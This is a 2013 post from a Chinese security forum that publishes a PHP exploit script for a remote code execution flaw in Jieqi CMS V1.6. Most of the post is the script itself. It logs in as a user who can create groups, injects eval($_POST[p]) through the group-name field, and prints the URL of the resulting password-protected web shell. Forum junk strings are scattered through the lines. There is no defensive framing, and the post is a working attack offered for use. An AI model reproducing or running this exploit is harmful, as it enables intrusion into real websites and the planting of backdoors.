找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2095|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。' y: ^7 W, z" L0 H
' n6 ^/ u: B( ^

$ r  S0 |2 ?' j: H8 U该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。* ?. X* o+ [9 C  t
需要有一个能创建圈子的用户。
! x% s$ q, e: a$ S$ W. a1 w 4 p% Y. R6 Y1 _7 i9 [
<?php
# R2 ~2 M( `1 X7 K- { ' T* ~, `' G$ t, K: q1 P
print_r('
  R. E+ J6 |' }3 i4 \+---------------------------------------------------------------------------+6 y0 J+ A, N) t0 l/ |' J. l
Jieqi CMS V1.6 PHP Code Injection Exploit
, D5 M( |7 C. q* _5 ~. @by flyh4t3 @9 d6 ^5 g8 B; y# i- Z
mail: phpsec at hotmail dot com
3 |) X, F+ L- f( Ateam: http://www.wolvez.org
( F. |1 [- }# H* U+---------------------------------------------------------------------------+
! q% I1 ^+ o( o  ~6 U( O'); /**
$ B6 E' X3 M* f: L" g" v * works regardless of php.ini settings) A+ F% O/ z" c& `- g
*/ if ($argc < 5) { print_r('! A* R' E% S6 M5 _" z& b: j
+---------------------------------------------------------------------------+  A$ q; n+ E: N  h
Usage: php '.$argv[0].' host path username. p) B+ f9 E- T* V
host:      target server (ip/hostname)8 U' x1 n! q0 P- l6 }
path:      path to jieqicms - q* ^4 o3 m. B" V
uasename:  a username who can create group
7 x/ U  j  U- E( V4 MExample:
' `8 F' k4 W; {8 `- Sphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password2 D8 m+ i7 k* L" o9 `
+---------------------------------------------------------------------------+
$ M9 i+ N0 A% B& r7 ?2 Y'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------232811682799613 }+ h5 }3 U' \2 Q% p4 v  ]
Content-Disposition: form-data; name="gname"
# i* Q" r- c) m1 B7 }! b " E- b: B9 S4 O6 L
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
0 k) ~+ T0 p  m# b7 i/ p1 ]-----------------------------232811682799616 w8 B: w5 ?& {) S/ z' w
Content-Disposition: form-data; name="gcatid"+ q6 S" |, N6 Y2 O3 Q
# L! c. {1 q4 S6 t6 ~* k2 Q) U
1  y/ C- a+ H# y% h& s: P
-----------------------------232811682799616 i1 c1 Z! ^4 D! e
Content-Disposition: form-data; name="gaudit"& e. u+ h5 e2 p2 V, M6 b! w
2 M5 w2 D$ @, B4 K
1
+ O5 r, @6 C* g4 Z( J& D-----------------------------232811682799617 A' E' Q3 C2 ?, h8 F
Content-Disposition: form-data; name="gbrief"' b+ I5 C0 B- J3 U; }
* d' W. ~; m0 \! ?% h. b' K* T' J
1
" S! e4 s3 v  ~& ]0 c- }+ z5 b3 J7 R-----------------------------23281168279961--
/ G8 ^  \1 ]6 O'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com: L: \& C. T3 Y; C. P& ~( Q, ^

: G% Z0 o% E' r* \9 V# Y( K, lpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表